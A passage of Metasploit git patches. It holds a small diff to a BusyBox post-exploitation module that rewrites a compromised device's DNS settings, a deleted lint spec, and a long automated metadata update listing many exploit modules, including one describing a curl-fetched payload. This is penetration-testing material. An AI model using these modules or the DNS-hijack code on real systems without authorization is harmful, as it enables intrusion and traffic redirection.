+++ b/modules/post/linux/busybox/set_dns.rb
@@ -41,7 +41,7 @@ def run
 
   def modify_resolv_conf
     print_status('File /etc/resolv.conf found')
-    if busy_box_write_file('/etc/resolv.conf', "nameserver #{datastore['DNS']}", false)
+    if busy_box_write_file('/etc/resolv.conf', "nameserver #{datastore['SRVHOST']}", false)
       print_good('DNS server added to resolv.conf')
     end
   end
@@ -49,7 +49,7 @@ def modify_resolv_conf
   def modify_udhcpd_conf
     print_status('File /etc/udhcpd.conf found')
 
-    if busy_box_write_file('/etc/udhcpd.conf', "option dns #{datastore['DNS']}", true)
+    if busy_box_write_file('/etc/udhcpd.conf', "option dns #{datastore['SRVHOST']}", true)
       restart_dhcpd('/etc/udhcpd.conf')
     else
       print_status('Unable to write udhcpd.conf, searching a writable directory...')
@@ -59,7 +59,7 @@ def modify_udhcpd_conf
         cmd_exec("cp -f /etc/udhcpd.conf #{writable_directory}tmp.conf")
         Rex.sleep(0.3)
         print_status("Adding DNS to #{writable_directory}tmp.conf")
-        busy_box_write_file("#{writable_directory}tmp.conf", "option dns #{datastore['DNS']}", true)
+        busy_box_write_file("#{writable_directory}tmp.conf", "option dns #{datastore['SRVHOST']}", true)
         restart_dhcpd("#{writable_directory}tmp.conf")
       else
         print_error('Writable directory not found')
diff --git a/spec/rubocop/cop/lint/datastore_srvhost_usage_spec.rb b/spec/rubocop/cop/lint/datastore_srvhost_usage_spec.rb
deleted file mode 100644
index dd3e6ebcdbce0..0000000000000
--- a/spec/rubocop/cop/lint/datastore_srvhost_usage_spec.rb
+++ /dev/null
@@ -1,87 +0,0 @@
-# frozen_string_literal: true
-
-require 'rubocop/cop/lint/datastore_srvhost_usage'
-require 'rubocop/rspec/support'
-
-RSpec.describe RuboCop::Cop::Lint::DatastoreSrvhostUsage, :config do
-  subject(:cop) { described_class.new(config) }
-
-  let(:config) { RuboCop::Config.new }
-
-  it 'corrects datastore[\'SRVHOST\'] with single quotes' do
-    expect_offense(<<~RUBY)
-      datastore['SRVHOST']
-      ^^^^^^^^^^^^^^^^^^^^ Lint/DatastoreSrvhostUsage: Use the `srvhost` method instead of directly accessing `datastore['SRVHOST']`.
-    RUBY
-
-    expect_correction(<<~RUBY)
-      srvhost
-    RUBY
-  end
-
-  it 'corrects datastore["SRVHOST"] with double quotes' do
-    expect_offense(<<~RUBY)
-      datastore["SRVHOST"]
-      ^^^^^^^^^^^^^^^^^^^^ Lint/DatastoreSrvhostUsage: Use the `srvhost` method instead of directly accessing `datastore['SRVHOST']`.
-    RUBY
-
-    expect_correction(<<~RUBY)
-      srvhost
-    RUBY
-  end
-
-  it 'corrects datastore[\'SRVHOST\'] in assignments' do
-    expect_offense(<<~RUBY)
-      host = datastore['SRVHOST']
-             ^^^^^^^^^^^^^^^^^^^^ Lint/DatastoreSrvhostUsage: Use the `srvhost` method instead of directly accessing `datastore['SRVHOST']`.
-    RUBY
-
-    expect_correction(<<~RUBY)
-      host = srvhost
-    RUBY
-  end
-
-  it 'corrects datastore["SRVHOST"] in comparisons' do
-    expect_offense(<<~RUBY)
-      if datastore["SRVHOST"] == '0.0.0.0'
-         ^^^^^^^^^^^^^^^^^^^^ Lint/DatastoreSrvhostUsage: Use the `srvhost` method instead of directly accessing `datastore['SRVHOST']`.
-        do_something
-      end
-    RUBY
-
-    expect_correction(<<~RUBY)
-      if srvhost == '0.0.0.0'
-        do_something
-      end
-    RUBY
-  end
-
-  it 'corrects datastore[\'SRVHOST\'] in method calls' do
-    expect_offense(<<~RUBY)
-      bind(datastore['SRVHOST'], port)
-           ^^^^^^^^^^^^^^^^^^^^ Lint/DatastoreSrvhostUsage: Use the `srvhost` method instead of directly accessing `datastore['SRVHOST']`.
-    RUBY
-
-    expect_correction(<<~RUBY)
-      bind(srvhost, port)
-    RUBY
-  end
-
-  it 'does not flag other datastore accesses' do
-    expect_no_offenses(<<~RUBY)
-      datastore['SRVPORT']
-    RUBY
-  end
-
-  it 'does not flag srvhost method calls' do
-    expect_no_offenses(<<~RUBY)
-      host = srvhost
-    RUBY
-  end
-
-  it 'does not flag other variables named datastore' do
-    expect_no_offenses(<<~RUBY)
-      my_datastore['SRVHOST']
-    RUBY
-  end
-end

From 20473f411bd72857c5b393a2d120fe09c2eb17fe Mon Sep 17 00:00:00 2001
From: jenkins-metasploit <jenkins-metasploit@build-production.r7ops.com>
Date: Sun, 8 Mar 2026 18:17:17 +0000
Subject: [PATCH 055/103] automatic module_metadata_base.json update

---
 db/modules_metadata_base.json | 322 +++++++++++++++++-----------------
 1 file changed, 161 insertions(+), 161 deletions(-)

diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json
index ed27e0f476bb0..70fc4d41677ef 100644
--- a/db/modules_metadata_base.json
+++ b/db/modules_metadata_base.json
@@ -81,7 +81,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb",
     "is_install_path": true,
     "ref_name": "admin/android/google_play_store_uxss_xframe_rce",
@@ -10157,7 +10157,7 @@
       "https"
     ],
     "targets": null,
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/admin/sap/cve_2020_6207_solman_rce.rb",
     "is_install_path": true,
     "ref_name": "admin/sap/cve_2020_6207_solman_rce",
@@ -19115,7 +19115,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/fileformat/specialfolder_leak.rb",
     "is_install_path": true,
     "ref_name": "fileformat/specialfolder_leak",
@@ -20523,7 +20523,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-02-26 11:41:43 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/gather/android_stock_browser_uxss.rb",
     "is_install_path": true,
     "ref_name": "gather/android_stock_browser_uxss",
@@ -20695,7 +20695,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb",
     "is_install_path": true,
     "ref_name": "gather/apple_safari_ftp_url_cookie_theft",
@@ -20742,7 +20742,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-02-26 11:41:43 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb",
     "is_install_path": true,
     "ref_name": "gather/apple_safari_webarchive_uxss",
@@ -22847,7 +22847,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb",
     "is_install_path": true,
     "ref_name": "gather/firefox_pdfjs_file_theft",
@@ -23973,7 +23973,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-03-02 11:06:06 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/gather/ie_sandbox_findfiles.rb",
     "is_install_path": true,
     "ref_name": "gather/ie_sandbox_findfiles",
@@ -25213,7 +25213,7 @@
       "https"
     ],
     "targets": null,
-    "mod_time": "2026-02-26 17:43:32 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/gather/magento_xxe_cve_2024_34102.rb",
     "is_install_path": true,
     "ref_name": "gather/magento_xxe_cve_2024_34102",
@@ -27347,7 +27347,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-02-26 17:17:19 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/gather/safari_file_url_navigation.rb",
     "is_install_path": true,
     "ref_name": "gather/safari_file_url_navigation",
@@ -60618,7 +60618,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/server/android_mercury_parseuri.rb",
     "is_install_path": true,
     "ref_name": "server/android_mercury_parseuri",
@@ -60658,7 +60658,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-02-24 12:18:09 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/server/browser_autopwn.rb",
     "is_install_path": true,
     "ref_name": "server/browser_autopwn",
@@ -60842,7 +60842,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-02-24 12:18:09 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/server/capture/http.rb",
     "is_install_path": true,
     "ref_name": "server/capture/http",
@@ -60883,7 +60883,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-02-24 12:18:09 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/server/capture/http_basic.rb",
     "is_install_path": true,
     "ref_name": "server/capture/http_basic",
@@ -61160,7 +61160,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-02-24 12:18:09 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/server/capture/pop3.rb",
     "is_install_path": true,
     "ref_name": "server/capture/pop3",
@@ -61246,7 +61246,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/server/capture/printjob_capture.rb",
     "is_install_path": true,
     "ref_name": "server/capture/printjob_capture",
@@ -61287,7 +61287,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-02-24 12:18:09 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/server/capture/sip.rb",
     "is_install_path": true,
     "ref_name": "server/capture/sip",
@@ -61378,7 +61378,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-02-24 12:18:09 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/server/capture/smtp.rb",
     "is_install_path": true,
     "ref_name": "server/capture/smtp",
@@ -61633,7 +61633,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-02-24 12:18:09 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/server/dns/spoofhelper.rb",
     "is_install_path": true,
     "ref_name": "server/dns/spoofhelper",
@@ -61676,7 +61676,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-02-24 12:18:09 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/server/fakedns.rb",
     "is_install_path": true,
     "ref_name": "server/fakedns",
@@ -61845,7 +61845,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-02-24 12:18:09 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb",
     "is_install_path": true,
     "ref_name": "server/jsse_skiptls_mitm_proxy",
@@ -62019,7 +62019,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-02-24 12:18:09 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/server/netbios_spoof_nat.rb",
     "is_install_path": true,
     "ref_name": "server/netbios_spoof_nat",
@@ -62060,7 +62060,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-02-24 12:18:09 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb",
     "is_install_path": true,
     "ref_name": "server/openssl_altchainsforgery_mitm_proxy",
@@ -62104,7 +62104,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/server/openssl_heartbeat_client_memory.rb",
     "is_install_path": true,
     "ref_name": "server/openssl_heartbeat_client_memory",
@@ -62542,7 +62542,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-02-24 12:18:09 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/auxiliary/server/tftp.rb",
     "is_install_path": true,
     "ref_name": "server/tftp",
@@ -68230,7 +68230,7 @@
     "targets": [
       "NetScaler Virtual Appliance 450010"
     ],
-    "mod_time": "2026-02-26 17:43:32 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb",
     "is_install_path": true,
     "ref_name": "freebsd/misc/citrix_netscaler_soap_bof",
@@ -71545,7 +71545,7 @@
     "targets": [
       "Automatic Target"
     ],
-    "mod_time": "2026-02-26 17:43:32 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/linux/http/chaos_rat_xss_to_rce.rb",
     "is_install_path": true,
     "ref_name": "linux/http/chaos_rat_xss_to_rce",
@@ -72409,7 +72409,7 @@
     "targets": [
       "Unix/Linux Command Shell"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/linux/http/craftcms_ftp_template.rb",
     "is_install_path": true,
     "ref_name": "linux/http/craftcms_ftp_template",
@@ -73149,7 +73149,7 @@
       "CMD",
       "Linux mipsel Payload"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb",
     "is_install_path": true,
     "ref_name": "linux/http/dlink_diagnostic_exec_noauth",
@@ -73331,7 +73331,7 @@
       "CMD",
       "Linux mipsel Payload"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/linux/http/dlink_dir615_up_exec.rb",
     "is_install_path": true,
     "ref_name": "linux/http/dlink_dir615_up_exec",
@@ -73877,7 +73877,7 @@
       "Dlink DIR-818 / 822 / 823 / 850 [MIPS]",
       "Dlink DIR-868 (rev. B and C) / 880 / 885 / 890 / 895 [ARM]"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/linux/http/dlink_hnap_login_bof.rb",
     "is_install_path": true,
     "ref_name": "linux/http/dlink_hnap_login_bof",
@@ -76877,7 +76877,7 @@
     "targets": [
       "Linux mipsbe Payload"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb",
     "is_install_path": true,
     "ref_name": "linux/http/huawei_hg532n_cmdinject",
@@ -77001,7 +77001,7 @@
     "targets": [
       "IBM QRadar SIEM <= 7.3.1 Patch 2 / 7.2.8 Patch 11"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/linux/http/ibm_qradar_unauth_rce.rb",
     "is_install_path": true,
     "ref_name": "linux/http/ibm_qradar_unauth_rce",
@@ -79048,7 +79048,7 @@
       "CMD",
       "Linux mipsel Payload"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/linux/http/linksys_e1500_apply_exec.rb",
     "is_install_path": true,
     "ref_name": "linux/http/linksys_e1500_apply_exec",
@@ -79300,7 +79300,7 @@
       "CMD",
       "Linux mipsel Payload"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb",
     "is_install_path": true,
     "ref_name": "linux/http/linksys_wrt54gl_apply_exec",
@@ -79606,7 +79606,7 @@
     "targets": [
       "Unix Command"
     ],
-    "mod_time": "2026-02-26 17:43:32 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/linux/http/magento_xxe_to_glibc_buf_overflow.rb",
     "is_install_path": true,
     "ref_name": "linux/http/magento_xxe_to_glibc_buf_overflow",
@@ -81198,7 +81198,7 @@
       "CMD",
       "Linux mipsbe Payload"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb",
     "is_install_path": true,
     "ref_name": "linux/http/netgear_dgn1000b_setup_exec",
@@ -81260,7 +81260,7 @@
       "CMD",
       "Linux mipsbe Payload"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb",
     "is_install_path": true,
     "ref_name": "linux/http/netgear_dgn2200b_pppoe_exec",
@@ -82032,7 +82032,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/linux/http/ollama_rce_cve_2024_37032.rb",
     "is_install_path": true,
     "ref_name": "linux/http/ollama_rce_cve_2024_37032",
@@ -84632,7 +84632,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:43:32 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/linux/http/railo_cfml_rfi.rb",
     "is_install_path": true,
     "ref_name": "linux/http/railo_cfml_rfi",
@@ -86750,7 +86750,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/linux/http/symmetricom_syncserver_rce.rb",
     "is_install_path": true,
     "ref_name": "linux/http/symmetricom_syncserver_rce",
@@ -86869,7 +86869,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:43:32 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/linux/http/synology_dsm_smart_exec_auth.rb",
     "is_install_path": true,
     "ref_name": "linux/http/synology_dsm_smart_exec_auth",
@@ -88660,7 +88660,7 @@
     "targets": [
       "VMware vRealize Log Insight < v8.10.2"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/linux/http/vmware_vrli_rce.rb",
     "is_install_path": true,
     "ref_name": "linux/http/vmware_vrli_rce",
@@ -95701,7 +95701,7 @@
       "Anydesk 5.5.2 Ubuntu 20.04 x64",
       "Anydesk 5.5.2 Ubuntu 18.04 x64"
     ],
-    "mod_time": "2026-02-24 12:18:09 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/linux/misc/cve_2020_13160_anydesk.rb",
     "is_install_path": true,
     "ref_name": "linux/misc/cve_2020_13160_anydesk",
@@ -96536,7 +96536,7 @@
     "targets": [
       "Jenkins 2.31"
     ],
-    "mod_time": "2026-02-24 12:18:09 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb",
     "is_install_path": true,
     "ref_name": "linux/misc/jenkins_ldap_deserialize",
@@ -96921,7 +96921,7 @@
       "OpenNMS / Linux x86",
       "OpenNMS / Linux x86_64"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/linux/misc/opennms_java_serialize.rb",
     "is_install_path": true,
     "ref_name": "linux/misc/opennms_java_serialize",
@@ -97192,7 +97192,7 @@
     "targets": [
       "TP-Link Archer A7/C7 (AC1750) v5 (firmware up to 201029/30)"
     ],
-    "mod_time": "2026-02-26 17:48:23 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/linux/misc/tplink_archer_a7_c7_lan_rce.rb",
     "is_install_path": true,
     "ref_name": "linux/misc/tplink_archer_a7_c7_lan_rce",
@@ -97480,7 +97480,7 @@
     "targets": [
       "Zyxel Device"
     ],
-    "mod_time": "2026-02-26 17:43:32 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/linux/misc/zyxel_multiple_devices_zhttp_lan_rce.rb",
     "is_install_path": true,
     "ref_name": "linux/misc/zyxel_multiple_devices_zhttp_lan_rce",
@@ -98700,7 +98700,7 @@
     "targets": [
       "Automatic"
     ],
-    "mod_time": "2026-02-26 17:43:32 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/linux/redis/redis_replication_cmd_exec.rb",
     "is_install_path": true,
     "ref_name": "linux/redis/redis_replication_cmd_exec",
@@ -99108,7 +99108,7 @@
     "targets": [
       "Linux x86"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/linux/smtp/exim4_dovecot_exec.rb",
     "is_install_path": true,
     "ref_name": "linux/smtp/exim4_dovecot_exec",
@@ -104329,7 +104329,7 @@
       "Unix Command",
       "Linux Dropper"
     ],
-    "mod_time": "2026-02-26 17:43:32 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/multi/http/adobe_coldfusion_rce_cve_2023_26360.rb",
     "is_install_path": true,
     "ref_name": "multi/http/adobe_coldfusion_rce_cve_2023_26360",
@@ -106228,7 +106228,7 @@
     "targets": [
       "Bassmaster <= 1.5.1"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/multi/http/bassmaster_js_injection.rb",
     "is_install_path": true,
     "ref_name": "multi/http/bassmaster_js_injection",
@@ -106442,7 +106442,7 @@
     "description": "This module exploits an authenticated remote code execution vulnerability in Cacti versions prior to 1.2.29.\n          Authenticated users can upload a graph template through the /graph_templates.php endpoint. The right_axis_label\n          parameter is vulnerable to code injection, allowing attackers to execute arbitrary commands on the server.\n          The payload is length limited, due to this constraint the module starts an HTTP server and hosts the payload.\n          The initial payload downloads the full payload using curl from the attacker's server and saves it to the\n          web root of the cacti server before executing.",
     "references": [
       "URL-https://github.com/SoftAndoWetto/CVE-2025-24367-PoC-Cacti/blob/main/exploit.py",
-      "GHSA-fxrq-fr7h-9rqq",
+      "URL-https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq",
       "CVE-2025-24367"
     ],
     "platform": "Linux,PHP,Unix,Windows",
@@ -106467,7 +106467,7 @@
       "Linux",
       "Windows"
     ],
-    "mod_time": "2026-02-26 17:48:23 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/multi/http/cacti_graph_template_rce.rb",
     "is_install_path": true,
     "ref_name": "multi/http/cacti_graph_template_rce",
@@ -111061,7 +111061,7 @@
       "Linux Universal",
       "Java Universal"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/multi/http/jboss_maindeployer.rb",
     "is_install_path": true,
     "ref_name": "multi/http/jboss_maindeployer",
@@ -112106,7 +112106,7 @@
       "Windows",
       "Linux"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/multi/http/log4shell_header_injection.rb",
     "is_install_path": true,
     "ref_name": "multi/http/log4shell_header_injection",
@@ -113759,7 +113759,7 @@
       "Unix/Linux Command Shell",
       "Windows Command Shell"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/multi/http/monsta_ftp_downloadfile_rce.rb",
     "is_install_path": true,
     "ref_name": "multi/http/monsta_ftp_downloadfile_rce",
@@ -114186,7 +114186,7 @@
       "Unix CMD",
       "Linux Payload"
     ],
-    "mod_time": "2026-02-26 17:17:19 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/multi/http/mutiny_subnetmask_exec.rb",
     "is_install_path": true,
     "ref_name": "multi/http/mutiny_subnetmask_exec",
@@ -115516,7 +115516,7 @@
       "Linux/Unix (Interactive Shell)",
       "Windows (Interactive Shell)"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb",
     "is_install_path": true,
     "ref_name": "multi/http/oracle_ebs_cve_2025_61882_exploit_rce",
@@ -118004,7 +118004,7 @@
     "targets": [
       "Ruby on Rails 4.0.8 July 2, 2014"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb",
     "is_install_path": true,
     "ref_name": "multi/http/rails_dynamic_render_code_exec",
@@ -119028,7 +119028,7 @@
       "WHD 12.7.* on Windows (Command payload)",
       "WHD 12.7.* on Linux (Command payload)"
     ],
-    "mod_time": "2026-02-26 17:43:32 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/multi/http/solarwinds_webhelpdesk_rce.rb",
     "is_install_path": true,
     "ref_name": "multi/http/solarwinds_webhelpdesk_rce",
@@ -120417,7 +120417,7 @@
       "Windows Universal",
       "Linux Universal"
     ],
-    "mod_time": "2026-02-26 17:25:03 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/multi/http/struts_code_exec.rb",
     "is_install_path": true,
     "ref_name": "multi/http/struts_code_exec",
@@ -120549,7 +120549,7 @@
       "Linux Universal",
       "Java Universal"
     ],
-    "mod_time": "2026-02-26 17:25:03 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb",
     "is_install_path": true,
     "ref_name": "multi/http/struts_code_exec_exception_delegator",
@@ -120676,7 +120676,7 @@
       "Windows",
       "Linux"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/multi/http/struts_default_action_mapper.rb",
     "is_install_path": true,
     "ref_name": "multi/http/struts_default_action_mapper",
@@ -121853,7 +121853,7 @@
       "Total.js CMS on Linux",
       "Total.js CMS on Mac"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/multi/http/totaljs_cms_widget_exec.rb",
     "is_install_path": true,
     "ref_name": "multi/http/totaljs_cms_widget_exec",
@@ -121972,7 +121972,7 @@
     "targets": [
       "Trend Micro Threat Discovery Appliance 2.6.1062r1"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb",
     "is_install_path": true,
     "ref_name": "multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi",
@@ -123567,7 +123567,7 @@
     "targets": [
       "PHP"
     ],
-    "mod_time": "2026-02-26 17:43:32 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/multi/http/wondercms_rce.rb",
     "is_install_path": true,
     "ref_name": "multi/http/wondercms_rce",
@@ -124986,7 +124986,7 @@
     "targets": [
       "Automatic Target"
     ],
-    "mod_time": "2026-02-26 17:43:32 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/multi/http/wp_popular_posts_rce.rb",
     "is_install_path": true,
     "ref_name": "multi/http/wp_popular_posts_rce",
@@ -126313,7 +126313,7 @@
     "targets": [
       "Linux"
     ],
-    "mod_time": "2026-02-26 17:39:08 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb",
     "is_install_path": true,
     "ref_name": "multi/iiop/cve_2023_21839_weblogic_rce",
@@ -127176,7 +127176,7 @@
     "targets": [
       "Default"
     ],
-    "mod_time": "2026-02-26 17:43:32 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
     "path": "/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb",
     "is_install_path": true,
     "ref_name": "multi/misc/cups_ipp_remote_code_execution",
@@ -127421,7 +127421,7 @@
       "Linux (Command)",
       "AIX (Command)"
     ],
-    "mod_time": "2026-02-26 17:43:32 +0000",
+    "mod_time": "2026-03-08 17:37:49 +0000",
